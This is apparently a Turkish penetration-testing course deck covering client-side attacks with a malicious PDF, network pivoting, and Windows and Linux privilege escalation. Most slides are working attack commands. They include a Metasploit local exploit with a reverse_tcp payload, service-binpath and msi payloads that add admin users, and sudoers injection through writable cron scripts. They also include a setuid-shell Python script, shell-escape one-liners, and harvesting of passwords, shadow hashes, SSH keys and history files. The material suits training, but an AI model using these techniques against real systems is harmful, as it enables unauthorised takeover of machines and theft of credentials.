  100. 100. • İstemci Taraflı saldırılar son kullanıcı tarafında gerçekleştirilen saldırılardır. • Burada oluşturduğumuz herhangi bir zararlı içerik kullanıcının bilgisayarına iletilir. • Bir site üzerindeki sahte bir uygulama veya dosya örnek verilebilir. • Adım adım bir uygulama gerçekleştirelim. • Saldırı uygulamamızda bir pdf dosyası kullanacağız. İSTEMCİ TARAFLI SALDIRILAR
  101. 101. Zararlı içerik oluşturma İSTEMCİ TARAFLI SALDIRILAR
  102. 102. Zararlı içerik oluşturma İSTEMCİ TARAFLI SALDIRILAR
  103. 103. • Metasploit ile oluşturduğumuz ClientSide.pdf dosyasını, mail veya farklı bir yolla kullanıcının bilgisayarına gönderebilirsiniz. • Biz senaryo amaçlı olarak kopyalıyoruz. İSTEMCİ TARAFLI SALDIRILAR
  104. 104. İSTEMCİ TARAFLI SALDIRILAR
  105. 105. İstemci tarafına aktarılan PDF dosyası İSTEMCİ TARAFLI SALDIRILAR
  106. 106. Handler Payload Tanımı İSTEMCİ TARAFLI SALDIRILAR
  107. 107. Exploit İSTEMCİ TARAFLI SALDIRILAR
  108. 108. PIVOTING
  109. 109. • Bir sunucuyu ele geçirdikten sonra bu sunucunun bağlı olduğu diğer arayüzlerden erişilebilen sunuculara erişim imkanımız doğacaktır. • Farklı bir arayüz bulunmasa bile eriştiğimiz sunucu bir firewall'un arkasında ise bizim tabi olduğumuz erişim kurallarından bağımsız biçimde kendi iç ağındaki diğer sunuculara erişim imkanı olabilir. PIVOTING
  110. 110. Kali Linux Windows XP Linux Apache 192.168.2.235 192.168.2.211 10.0.0.120 10.0.0.121 PIVOTING
  111. 111. • Ele geçirilen sunucu üzerinden diğer sistemlere erişim için izleyebileceğimiz yollar: • Sunucuya Konumlanma: Ele geçirilen sunucuya gerekli araçları yükleyerek bu sunucu kaynakları üzerinden (komut satırı, remote desktop v.b. bağlantılar ile) diğer sistemlere erişmek • Sunucuyu Router Olarak Kullanma: Atlama sistemi üzerinde işletim sisteminin verdiği routing imkanları kullanılarak ve kendi bilgisayarımızda gerekli routing ayarlarını yaparak diğer sunuculara bu sistem üzerinden erişmek (bu yöntem eğer hedef sunucu firewall'un arkasında ise büyük oranda etkisiz olacaktır) PIVOTING
  112. 112. • Ele geçirilen sunucu üzerinden diğer sistemlere erişim için izleyebileceğimiz yollar (devamı): • Sunucuyu Port Forwarder Olarak Kullanma: Yine sunucu platformunun sağladığı port forwarding imkanlarını veya bu sunucu üzerinde çalışabilen port forwarding araçlarını kullanarak diğer sistemlere erişmek. Bu yöntemde ele geçirdiğimiz sistem bir firewall'un arkasında olsa bile bu firewall'un izin verdiği bir porta erişerek arka taraftaki herhangi bir IP adresinin herhangi bir portuna erişme imkanımız olabilecektir. PIVOTING
  113. 113. Linux Port Forwarding Örnekleri Iptables ile port forwarding (ip forwarding aktif olmalı) # iptables -A PREROUTING -t nat -i eth0 -p tcp --dport 80 -j DNAT --to 192.168.1.222:8080 # iptables -A FORWARD -p tcp -d 192.168.1.222 --dport 8080 -j ACCEPT Socat aracı ile port forwarding # socat TCP-LISTEN:80,fork TCP:192.168.1.222:8080 Diğer araçlara örnekler • rinetd • redir • haproxy PIVOTING
  114. 114. Windows Port Forwarding Örnekleri Netsh ile port forwarding C:> netsh interface portproxy add v4tov4 listenport=80 connectaddress=192.168.1.222 connectport=8080 Windows ortamındaki araçlar genellikle GUI arayüzlü araçlar olduğu için çoğu zaman işimize yaramayacaktır. Ancak Windows sunucu üzerinde bir SSH servisi (ör: OpenSSH) çalıştırılabilirse (Linux'da da olduğu gibi) SSH'ın port forwarding imkanı kullanılabilir. PIVOTING
  115. 115. • Ele geçirilen sunucu üzerinden diğer sistemlere erişim için izleyebileceğimiz yollar (devamı): • Meterpreter Oturumu Üzerinden Yönlendirme: Eğer atlama sistemimizde meterpreter payload'u çalıştırabilmişsek Metasploit'un sağladığı pivoting araçları buraya kadar saydığımız yöntemler arasında en pratik yönlendirmeyi sağlayacaktır. PIVOTING
  116. 116. Metasploit ile Pivoting meterpreter> ipconfig [örneğimizde hedef sisteme eriştiğimiz arayüzün 192.168.121.15 olduğu ve bu sistem üzerinde bir de 10.1.0.120 IP adresli ve 255.255.255.0 netmask lı bir başka arayüzün olduğu varsayılmıştır] meterpreter> run autoroute -h [bu komutla autoroute script i hakkında yardım bilgisi edinebiliriz] meterpreter> run autoroute -s 10.1.0.0/24 meterpreter> run autoroute -p [bu komutla mevcut routing tablomuz print edilebilir] meterpreter> run arp_scanner [script in opsiyonlarını bu komutla görebilirsiniz] meterpreter> run arp_scanner -r 10.1.0.0/24 PIVOTING Hedef sistemin ağ arayüzlerini inceleme1 Hedef sistem üzerindeki meterpreter bileşenleri üzerinden routing'i aktifleştirme2 Uzak ağdaki sistemleri ARP tarama ile tespit etme3
  117. 117. Metasploit ile Pivoting Bu noktadan sonra port tarama için iki seçeneğimiz var: 1. Metasploit'in sistem üzerinde çalışan diğer uygulamaların (örneğin nmap'in) kullanabileceği bir proxy çalıştırması ve local sunucu üzerinde çalışacak bu proxy portu üzerinden hedef subnet ve sunuculara bu uygulamalarla erişme 2. Metasploit'in auxiliary/scanner/portscan/tcp modülü ile yeni subnet üzerindeki sunucularda TCP port tarama PIVOTING
  118. 118. Metasploit ile Pivoting (1. Yöntem) meterpreter> background [auxilary socks proxy modülümüzü kullanmak için mevcut oturumumuzu arka plana atmalıyız] msfconsole> sessions -l [aktif meterpreter oturumlarınızı listelemek isterseniz, bu örnekte hedef sisteme bağlı olunan oturum numarasının "1" olduğu msfconsole> route add 10.1.0.0 255.255.255.0 1 [meterpreter oturumunun içindeyken yaptığımız tanımdan sonra buna gerek olmaması lazım, ama route print komutuyla bir kontrol ettikten sonra route tanımını göremiyorsanız bu komutu çalıştırmanız gerekebilir] msfconsole> route print [bu komutla eklediğiniz route konfigürasyonunda herhangi bir hata olup olmadığını inceleyebilirsiniz] msfconsole> use auxiliary/server/socks4a msfconsole> show options [birşeyi değiştirmemiz gerekmez, ancak proxy nin çalışacağı portun 1080 olduğunu hatırlamak için opsiyonlara göz atmakta fayda var] msfconsole> run [socks proxy arka planda çalışmaya başlar] PIVOTING SOCKS proxy servisini başlatma1
  119. 119. Metasploit ile Pivoting (1. Yöntem) /etc/proxychains.conf dosyası içinde aşağıdaki değişiklik yapılır: socks4 127.0.0.1 1080 Bu aşamadan sonra proxychains uygulaması ile sistem üzerindeki uygulamaları kullanabiliriz: proxychains nmap -sT -Pn 10.1.0.155 [burada tarama yöntemi olarak TCP connect scan in kullanılmış olmasına dikkat ediniz. Bu örnekte hedef IP adresimiz 10.1.0.155 olarak seçilmiştir. -Pn opsiyonu özellikle önemli çünkü proxy bağlantısı üzerinden ICMP ve UDP paketlerini taşınamaz, sadece TCP paketleri iletilmelidir.] proxychains nmap -sT -Pn -p- 10.1.0.155 PIVOTING Proxychains ayarı2 Proxychains kullanarak nmap ile port tarama3
  120. 120. Metasploit ile Pivoting (2. Yöntem) msfconsole> use auxiliary/scanner/portscan/tcp msfconsole> show options [opsiyonlardan port aralığı ve IP adreslerini değiştirmek isteyeceksiniz] msfconsole> set ports 1-65535 msfconsole> set rhosts 10.1.0.155 msfconsole> run PIVOTING Metasploit kullanarak TCP port tarama (UDP port tarama imkanı bulunmamaktadır)1
  121. 121. Metasploit ile Pivoting (2. Yöntem) msfconsole> sessions -i 1 [Meterpreter oturumunuza geçmek için, burada oturum numaranızın "1" olduğu varsayılmıştır] meterpreter> portfwd -h [komut hakkında yardım almak için. Meterpreter komutları hakkında yardım almak için help komutunu çalıştırabilirsiniz] meterpreter> portfwd add -l 8000 -p 80 -r 10.1.0.155 Bu adımdan sonra browser'ınızda şu URL'i yazdığınızda hedef HTTP servisine erişirsiniz: http://localhost:8000/ PIVOTING Metasploit kullanarak TCP port tarama (UDP port tarama imkanı bulunmamaktadır)2 Lokal port üzerinden uzaktaki sisteme erişim3
  122. 122. YETKİ YÜKSELTME
  123. 123. İÇERİK • Jenerik Yetki Yükseltme Metodu • Linux Yetki Yükseltme Yöntemleri • Windows Yetki Yükseltme Yöntemleri
  124. 124. JENERİK YETKİ YÜKSELTME METODU 1. Kullanıcı bilgilerimiz ve yetki seviyemiz 2. Sistem üzerinde bulunabilecek yetki yükseltme açıklıkları yama eksikliklerinin tespiti 3. Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama dosyalarının incelenmesi 4. Sistem üzerinde çalışan proses’lerin, ağ servislerinin incelenmesi 5. Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve dosyaların incelenmesi, sistem genelinde konfigürasyon açıklıklarının araştırılması
  125. 125. JENERİK YETKİ YÜKSELTME METODU 1. Mevcut kullanıcımızın kim olduğu ve bu kullanıcının sistem üzerindeki haklarının anlaşılması (mevcut kullanıcımız sistem yöneticisi olmasa da sistem yöneticisi komutlarını çalıştırma hakları bulunabilir, diğer kullanıcılar hedef alınabilir) 2. Sistem üzerinde lokal yetki yükseltme imkanı verebilecek açıklıklarını kapatan işletim sistemi yamalarının uygulanıp uygulanmadıklarının incelenmesi 3. Sistem servisleri, zamanlı işler ve yüksek yetkili uygulamaların tespiti, bunların hangi kullanıcı hakları ile çalıştıklarının incelenmesi, yetki yükseltme açıklığı barındırıp barındırmadıklarının, konfigürasyon zayıflıklarının incelenmesi 4. Uzaktan erişilemeyen ancak lokal olarak erişilebilen proses ve ağ servislerinin tespiti, bunlarda bulunabilecek açıklıkların veya bunların konfigürasyonlarındaki güvensiz ayarların incelenmesi 5. (Mevcut kullanıcı hakları ile erişebildiklerimiz için) Sistem üzerindeki diğer kullanıcı home dizinlerinin, sistemin niteliğine uygun olarak belli sistem dosyalarının / veritabanlarının (ör: registry) diğer kullanıcı hesaplarına geçiş imkanı sağlayabilecek erişim bilgileri, v.b. bilgileri barındırıp barındırmadıklarının incelenmesi amacıyla gözden geçirilmesi
  126. 126. JENERİK YETKİ YÜKSELTME METODU ÖNEMLİ • Yetki yükseltme çalışmalarının önemli bölümü ve ilk adımı bilgi toplama (enumeration) adımıdır. • Ancak bilgi toplama tek başına bir işe yaramaz, edindiğiniz bilgileri nasıl kullanacağınızı da bilmeniz gereklidir.
  127. 127. WINDOWS YETKİ YÜKSELTME Kullanıcı bilgilerimiz ve yetki seviyemiz Domain adı (veya makine adı) ve kullanıcı adımız C:> whoami Kullanıcımızın üye olduğu gruplar C:> whoami /groups Sistem üzerindeki kullanıcılar ve kullanıcı grupları ile Administrators grubuna üye kullanıcıların listeleri C:> net users C:> net localgroup C:> net localgroup Administrators Metasploit post exploitation modülünü kullanarak kullanıcımızın hakları ile ilgili enumeration meterpreter> run post/windows/gather/win_privs
  128. 128. WINDOWS YETKİ YÜKSELTME Sistem üzerinde bulunabilecek yetki yükseltme açıklıkları yama eksikliklerinin tespiti Sistem versiyon ve yama bilgilerini çekmek için C:> systeminfo Exploit suggester script'ini kullanarak inceleme yapmak için shell> systeminfo > C:windowstempsysteminfo.txt meterpreter> download C:windowstempsysteminfo.txt # ./windows-exploit-suggester.py --update # pip install xlrd # ./windows-exploit-suggester.py -i systeminfo.txt -d 2017-06-27-mssb.xls > winexploits.txt # grep -i version winexploits.txt # grep -i priv winexploits.txt Mevcut bir meterpreter oturumu içinde local exploit araştırma meterpreter> run post/multi/recon/local_exploit_suggester
  129. 129. WINDOWS YETKİ YÜKSELTME Sistem üzerinde bulunabilecek yetki yükseltme açıklıkları yama eksikliklerinin tespiti [SALDIRI ÖRNEĞİ – Metasploit Local Exploit] msf > use exploit/windows/local/ms14_058_track_popup_menu msf exploit(ms14_058_track_popup_menu) > set LHOST 192.168.1.100 LHOST => 192.168.1.100 msf exploit(ms14_058_track_popup_menu) > set DisablePayloadHandler true DisablePayloadHandler => true msf exploit(ms14_058_track_popup_menu) > set LPORT 28746 LPORT => 28746 msf exploit(ms14_058_track_popup_menu) > set PAYLOAD windows/x64/meterpreter/reverse_tcp PAYLOAD => windows/x64/meterpreter/reverse_tcp msf exploit(ms14_058_track_popup_menu) > set TARGET 1 TARGET => 1 msf exploit(ms14_058_track_popup_menu) > set SESSION 3 SESSION => 3 msf exploit(ms14_058_track_popup_menu) > set ExitOnSession false ExitOnSession => false msf exploit(ms14_058_track_popup_menu) > exploit -j
  130. 130. WINDOWS YETKİ YÜKSELTME Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama dosyalarının incelenmesi Belli bir servis konfigürasyonu hakkında bilgi elde etmek için C:> sc query [tüm servisleri listeler, ilk sırada SERVICE_NAME bölümünde servis adı görülür] C:> sc qc serviceadi Bu servisin konfigürasyon değişiklik haklarını görmek için C:> sc sdshow serviceadi Accesschk aracı ile sıradan kullanıcıların servisler üzerindeki haklarının sorgulanması accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv "Users" * /accepteula accesschk.exe -uwcqv "Everyone" * /accepteula Not: Bu açıklık Windows XP SP 0 ve 1'den sonra öntanımlı olarak bulunmamaktadır.
  131. 131. WINDOWS YETKİ YÜKSELTME Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama dosyalarının incelenmesi [SALDIRI ÖRNEĞİ] Writable servislerin tespit edilmesi halinde yapılması gereken işlem (upnphost ve ssdpsrv servislerindeki bu açıklık Windows XP SP 0 ve 1 için geçerlidir) sc config upnphost binpath= "net user btr1 Password1 /add" sc stop upnphost sc start upnphost sc config upnphost binpath= "net localgroup Administrators btr1 /add" sc stop upnphost sc start upnphost Kullanıcı ekleme işini yapan bir exe üretme # msfvenom -p windows/adduser USER=btr1 PASS=Password1 -f exe > adduser.exe Payload servis tarafından çalıştırıldıktan sonra # rdesktop -u btr1 10.11.1.13 Terminal erişim imkanımız yoksa farklı bir payload'u admin olarak çalıştırmak için C:> runas /user:btr1Password1 "C:UsersBTR- 1AppDataLocalTemppayload.exe"
  132. 132. WINDOWS YETKİ YÜKSELTME Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama dosyalarının incelenmesi (devamı) Tüm servisleri listelemek ve daha sonra belli bir servisin çalıştırılabilir dosya ayarını görmek için C:> sc query [tüm servisleri listeler, ilk sırada SERVICE_NAME bölümünde servis adı görülür] C:> sc qc serviceadi [servis ile ilgili bilgiler sorgulanır, BINARY_PATH_NAME bölümünde exe yolu görülür] Bir dizin ve dosya üzerindeki erişim izinlerini görmek için C:> accesschk.exe -dqv "C:Python27" /accepteula C:> accesschk.exe -qv filename.txt /accepteula
  133. 133. WINDOWS YETKİ YÜKSELTME Sistem üzerinde çalışan proses’lerin, ağ servislerinin incelenmesi Sistem üzerinde aktif ağ servislerinin görüntülenmesi için (local admin haklarına sahip değilsek servisin arkasında çalışan uygulama adını göremeyiz) C:> netstat -anob [o – process id’sini, b – binary dosyayı gösterir] Local admin hakkına sahip olmadığımızda ağ servislerinin arkasında çalışan binary görüntülenmeyecektir. Bunun için process id’sinden proses uygulama adını görmek için aşağıdaki komutu kullanabiliriz. C:> tasklist /fi "pid eq 1064" Sistem üzerinde çalışan tüm proses’lerin listesi ve varsa bu proses’lerden bir Windows servisi ile ilişkili olanlarını listelemek için C:> tasklist /SVC Proses’lerin hangi kullanıcı hakları ile çalıştıklarını da incelemek için C:> tasklist /V
  134. 134. WINDOWS YETKİ YÜKSELTME Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve dosyaların incelenmesi, sistem genelinde konfigürasyon açıklıklarının araştırılması Parola barındıran dosyalar Sonraki sorgularda zaman kaybını azaltmak için dosya listesinin oluşturulması C:> dir /a/s/b > dosyalistesi.txt Daha sonra aşağıdaki komutlarla bu dosya içinde Administrator kullanıcı parolası barındırma ihtimali bulunan dosya isimlerini arayabiliriz. C:> type dosyalistesi.txt | findstr /I unattend.xml C:> type dosyalistesi.txt | findstr /I unattend.txt C:> type dosyalistesi.txt | findstr /I sysprep.inf C:> type dosyalistesi.txt | findstr /I sysprep.xml
  135. 135. WINDOWS YETKİ YÜKSELTME Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve dosyaların incelenmesi, sistem genelinde konfigürasyon açıklıklarının araştırılması (devamı) Administrator hakları ile kurulum dosyası çalıştırma yetkisi C:> reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated C:> reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated
  136. 136. WINDOWS YETKİ YÜKSELTME Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve dosyaların incelenmesi, sistem genelinde konfigürasyon açıklıklarının araştırılması [SALDIRI ÖRNEĞİ] Administrator hakları ile kurulum dosyası çalıştırma yetkisinin bulunması halinde msfvenom ile bir “msi” payload'u oluşturarak local Administrators grubuna bir kullanıcı ekleyebiliriz: # msfvenom -p windows/adduser USER=btr1 PASS=Password1 -f -f msi-nouac -o adduser.msi C:> msiexec /quiet /qn /i C:UsersBTR-1AppDataLocalTempadduser.msi
  137. 137. WINDOWS YETKİ YÜKSELTME Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve dosyaların incelenmesi, sistem genelinde konfigürasyon açıklıklarının araştırılması (devamı) Öntanımlı kullanıcı adı ve parola barındıran registry kayıtları reg query "HKLMSOFTWAREMicrosoftWindows NTCurrentversionWinlogon" /v DefaultPassword 2> nul reg query "HKLMSOFTWAREMicrosoftWindows NTCurrentversionWinlogon" /v DefaultUsername 2> nul reg query "HKLMSOFTWAREMicrosoftWindows NTCurrentversionWinlogon" /v DefaultDomainname 2> nul Parola bulunabilecek diğer registry kayıtları reg query HKLMSOFTWARERealVNCvncserver /v Password 2> NUL reg query HKLMSoftwareTightVNCServer /v Password 2> NUL
  138. 138. WINDOWS YETKİ YÜKSELTME Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve dosyaların incelenmesi, sistem genelinde konfigürasyon açıklıklarının araştırılması (devamı) Daha jenerik biçimde içinde “password” kelimesi geçen tüm registry kayıtları aşağıdaki komutlarla araştırılabilir: reg query HKLM /k /f password /t REG_SZ /s reg query HKCU /k /f password /t REG_SZ /s
  139. 139. WINDOWS YETKİ YÜKSELTME Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve dosyaların incelenmesi, sistem genelinde konfigürasyon açıklıklarının araştırılması (devamı) Tırnak ile kapatılmamış servis çalıştırılabilir dosya yolu C:Program Filessub dirprogram name.exe Windows işletim sistemi bu çalıştırılabilir kodu çalıştırmak için şu sırada dosya arayacaktır: C:program.exe filessub dirprogram name C:program filessub.exe dirprogram name C:program filessub dirprogram.exe name Bir dizinin erişim haklarını incelemek için: C:> accesschk.exe -dqv "C:program filessub dir " /accepteula
  140. 140. WINDOWS YETKİ YÜKSELTME Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve dosyaların incelenmesi, sistem genelinde konfigürasyon açıklıklarının araştırılması (devamı) Dosya adı ve içerik araştırma (örnek komutlar) C:> type dosyalistesi.txt | findstr /I .*ssh.*[.]ini$ C:> type dosyalistesi.txt | findstr /I .*ultravnc[.]ini$ C:> type dosyalistesi.txt | findstr /I .*vnc[.]ini$ C:> findstr /si "password=" C:*.ini C:*.xml C:*.txt C:*.bat 2> nul C:> findstr /si "passwd=" C:*.ini C:*.xml C:*.txt C:*.bat 2> nul C:> findstr /si "pass=" C:*.ini C:*.xml C:*.txt C:*.bat 2> nul C:> findstr /si "pwd=" C:*.ini C:*.xml C:*.txt C:*.bat 2> nul ...
  141. 141. LINUX YETKİ YÜKSELTME Kullanıcı bilgilerimiz ve yetki seviyemiz Kullanıcı adımız, kullanıcı ve grup id'lerimiz whoami 2>/dev/null id 2>/dev/null "sudoers" dosyası erişim hakları ve görebiliyorsak içeriği ls -al /etc/sudoers 2>/dev/null cat /etc/sudoers 2>/dev/null Kullanıcımızın sudo hakları sudo -l -n 2>/dev/null Tüm kullanıcılar ve gruplar ile ilgili bilgiler cat /etc/passwd 2>/dev/null cat /etc/group 2>/dev/null
  142. 142. LINUX YETKİ YÜKSELTME Sistem üzerinde bulunabilecek yetki yükseltme açıklıkları yama eksikliklerinin tespiti Linux kernel, işlemci ve işletim sistemi versiyonlarını inceleme uname -a 2>/dev/null cat /proc/version 2>/dev/null lscpu 2>/dev/null cat /etc/*-release Yetki yükseltme açıklığına sahip olabilecek uygulama ve sunucu versiyonlarını inceleme sudo -V | grep version 2>/dev/null mysql --version 2>/dev/null Mount edilmiş file system'ler mount 2>/dev/null
  143. 143. LINUX YETKİ YÜKSELTME Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama dosyalarının incelenmesi Cron job’ların incelenmesi “other” tarafından yazılabilir cron scriptleri ve içerikleri find /etc/cron* -perm -0002 -exec ls -la {} ; -exec cat {} 2>/dev/null ; /etc/crontab dosyası içeriği cat /etc/crontab 2>/dev/null Varsa root ve diğer kullanıcıların crontab dosyaları listesi ls -laR /var/spool/cron 2>/dev/null Varsa root ve diğer kullanıcıların crontab dosyaları içerikleri find /var/spool/cron/ -type f -exec tail -n +1 {} + 2>/dev/null Varsa /etc/cron.d dizininde bulunan dosyaların listesi ls -laR /etc/cron.d 2>/dev/null ...
  144. 144. LINUX YETKİ YÜKSELTME Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama dosyalarının incelenmesi (devamı) Setuid dosyaların incelenmesi Sahibi “root” olan other tarafından yazılabilir “setuid” dosyalar find / -uid 0 -perm -4002 -type f -exec ls -al {} ; 2>/dev/null “other” tarafından yazılabilir tüm “setuid” dosyalar find / -perm -4002 -type f -exec ls -al {} ; 2>/dev/null Tüm “setuid” dosyalar find / -perm -4000 -type f -exec ls -al {} ; 2>/dev/null | tee setuid- files-enum.txt Benzer biçimde setgid dosyalar da incelenmelidir.
  145. 145. LINUX YETKİ YÜKSELTME Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama dosyalarının incelenmesi [SALDIRI ÖRNEĞİ] “root” hakları ile çalışan bir cron script’ine veya setuid bit’i işaretli bir script’e müdahale edebiliyorsak aşağıdaki satırları içine yerleştirebiliriz: echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /script.sh Değişiklik yaptığımız script çalışıp da sudoers dosyasında yukarıda görülen değişikliği yaptıktan sonra şu komutu çalıştırarak root hakları ile shell alabiliriz: sudo /bin/bash
  146. 146. LINUX YETKİ YÜKSELTME Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama dosyalarının incelenmesi [SALDIRI ÖRNEĞİ] Aşağıda bir Python script’i ile “s” bit’i işaretli bir shell oluşturma yöntemini görebilirsiniz: #!/usr/bin/env python import os import sys try: os.system('cp /bin/sh /tmp/sh && chmod 4777 /tmp/sh && /tmp/sh') except: sys.exit() Çeşitli diller ve araçlar (bash, perl, python, php, java, netcat) kullanılarak reverse shell alma imkanı sağlayabileceğimiz diğer yöntemler için aşağıdaki link’ten faydalanabiliriz: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
  147. 147. LINUX YETKİ YÜKSELTME Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama dosyalarının incelenmesi (devamı) Shell escape imkanı veren uygulamaların incelenmesi Bazı uygulamaların içinden komut satırı komutları çalıştırmak veya bir shell almak mümkündür. Eğer bu uygulamaları sudo ile çalıştırabilirsek veya bu uygulamaların “s” bit’leri işaretli ise, bu uygulamaların içinden root hakları ile shell başlatabiliriz. Bu tür uygulamaları tespit etmek için aşağıdaki komutu çalıştırabiliriz (setuid-files- enum.txt dosyası yukarıdaki tüm “s” bitli dosyaları belirleyen komut neticesinde oluşmuş olmalıdır) cat setuid-files-enum.txt 2>/dev/null | grep -i -E 'vi|awk|perl|find|nmap|man|more|less|tcpdump|bash|sh$|vim|nc$|netcat|python |ruby|lua|irb' | grep -v -E 'chsh|device'
  148. 148. LINUX YETKİ YÜKSELTME Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama dosyalarının incelenmesi [SALDIRI ÖRNEĞİ] Shell escape imkanı veren komut örnekleri: awk awk 'BEGIN {system("/bin/bash")}' nmap --interactive nmap echo "os.execute('/bin/sh')" > exploit.nse sudo nmap --script=exploit.nse perl perl -e 'exec "/bin/bash";' vi, vim :!bash vi, vim :set shell=/bin/bash :shell man, more, less !bash find find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' ;
  149. 149. LINUX YETKİ YÜKSELTME Sistem üzerinde çalışan proses’lerin, ağ servislerinin incelenmesi Loopback arayüzünden erişilebilen TCP ve UDP ağ servislerini incelemek için (elbette yetki yükseltebilmek için açıklık barındıran bir servisin root hakları ile çalışması gerekir) netstat -antp netstat -anup “p” opsiyonu root hakkına sahipsek servisin arkasındaki proses id’si ve adını gösterecektir, dolayısıyla sıradan bir kullanıcıysak aslında bir işe yaramayacak. root kullanıcısı olarak calışan prosesler ps aux | grep root Çalışan proseslerin imajları ve bunlara erişim hakları ps aux | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++'
  150. 150. LINUX YETKİ YÜKSELTME Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve dosyaların incelenmesi, sistem genelinde konfigürasyon açıklıklarının araştırılması Parola hash’lerini ele geçirmek için shadow dosyası veya yedeklerine erişmeye çalışmak cat /etc/shadow 2>/dev/null grep -i -E 'shadow' dirlist-enum.txt | xargs ls -al 2>/dev/null (Öncesinde dirlist-enum.txt dosyasının oluşturulduğu varsayılmıştır)
  151. 151. LINUX YETKİ YÜKSELTME Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve dosyaların incelenmesi, sistem genelinde konfigürasyon açıklıklarının araştırılması (devamı) Home dizinleri ve içerikleri /root/ dizini altındaki dosyalar ve erişim hakları ls -ahlR /root/ 2>/dev/null /home/ dizini altındaki dosyalar ve erişim hakları ls -ahlR /home/ 2>/dev/null Eğer home dizinleri /usr/ dizini altında ise buradaki dosyalar ve erişim hakları ls -ahlR /usr/home/ 2>/dev/null /home/ dizini altındaki okunabilir dosyaların listesi find /home/ -perm -4 -type f -exec ls -al {} ; 2>/dev/null
  152. 152. LINUX YETKİ YÜKSELTME Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve dosyaların incelenmesi, sistem genelinde konfigürasyon açıklıklarının araştırılması (devamı) History dosyaları erişim hakları ve içerikleri ls -la /home/*/.*_history 2>/dev/null ls -la /root/.*_history 2>/dev/null cat ~/.*_history 2>/dev/null cat /root/.*_history 2>/dev/null cat /home/*/.*_history 2>/dev/null SSH anahtar ve anahtar dizinlerinin listesi find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" 2>/dev/null
  153. 153. LINUX YETKİ YÜKSELTME Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve dosyaların incelenmesi, sistem genelinde konfigürasyon açıklıklarının araştırılması [SALDIRI ÖRNEĞİ] ssh servisine parola ile bağlanma "ssh -l $user $host" veya "ssh $user@$host" ssh servisine farklı bir port'tan bağlanma ssh $user@$host -p $port ssh servisine private key ile bağlanma ssh -i /path/to/id_rsa $user@$host ssh -i /path/to/id_dsa $user@$host
  154. 154. LINUX YETKİ YÜKSELTME Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve dosyaların incelenmesi, sistem genelinde konfigürasyon açıklıklarının araştırılması (devamı) Mysql erişimi(mysql root’u ile sistem root’u farklıdır) mysqladmin -uroot -proot version mysqladmin -uroot version Mysql erişim bilgilerini içerebilecek konfigürasyon dosya içeriğinin incelenmesi cat /etc/mysql/my.cnf 2>/dev/null cat /etc/my.cnf 2>/dev/null
  155. 155. LINUX YETKİ YÜKSELTME Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve dosyaların incelenmesi, sistem genelinde konfigürasyon açıklıklarının araştırılması [SALDIRI ÖRNEĞİ] MySQL UDF (User Defined Function) Fonksiyonalitesi ile Yetki Yükseltme Saldırısı Windows örneği http://blog.btrisk.com/2017/01/mysql-udf-fonksiyonalitesi-ile-yetki- yukseltme.html Linux örneği https://www.exploit-db.com/exploits/1518/
  156. 156. LINUX YETKİ YÜKSELTME Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve dosyaların incelenmesi, sistem genelinde konfigürasyon açıklıklarının araştırılması (devamı) Web uygulama dizinlerı ve dosyaların listesi - ekleme yapılabilir ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null ls -alhR /usr/local/www/apache22/data/ 2>/dev/null ls -alhR /opt/lampp/htdocs/ 2>/dev/null Mail içerikleri cat /var/mail/root 2>/dev/null cat /var/spool/mail/root 2>/dev/null
  157. 157. LINUX YETKİ YÜKSELTME Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve dosyaların incelenmesi, sistem genelinde konfigürasyon açıklıklarının araştırılması (devamı) Mount konfigürasyonu (mount edilmemiş dosya sistemleri olabilir mi?) cat /etc/fstab fstab içinde kullanıcı erişim bilgileri arama cat /etc/fstab 2>/dev/null |grep username |awk '{sub(/.*username=/,"");sub(/,.*/,"")}1'| xargs -r echo username:; cat /etc/fstab 2>/dev/null |grep password |awk '{sub(/.*password=/,"");sub(/,.*/,"")}1'| xargs -r echo password:; cat /etc/fstab 2>/dev/null |grep domain |awk '{sub(/.*domain=/,"");sub(/,.*/,"")}1'| xargs -r echo domain: fstab içinde credentials dosya referansı arama cat /etc/fstab 2>/dev/null |grep cred |awk '{sub(/.*credentials=/,"");sub(/,.*/,"")}1'| xargs -I{} sh -c 'ls -la {}; cat {}'
